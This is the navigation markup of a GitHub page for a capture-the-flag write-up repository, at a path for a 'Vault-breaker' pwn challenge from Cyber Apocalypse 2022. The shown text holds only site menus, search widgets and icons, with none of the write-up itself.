<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="437949506" data-scoped-search-url="/GonTanaka/CTF-Writeups/search" data-owner-scoped-search-url="/users/GonTanaka/search" data-unscoped-search-url="/search" data-turbo="false" action="/GonTanaka/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="h/8piBBXF3oRDleCyR8+Fdp0MzuI9qcrin0zAg6j8VQIwtKAIvPmWOFRlY1zjHKjy762PbbwJc/WycfsMLd5rA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> GonTanaka </span> <span>/</span> CTF-Writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/GonTanaka/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":437949506,"originating_url":"https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Vault-breaker","user_id":null}}" data-hydro-click-hmac="05e0b6b22f694c5c87108b50c11332c850f2e87836e7dddac0d4e19e708733ae"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
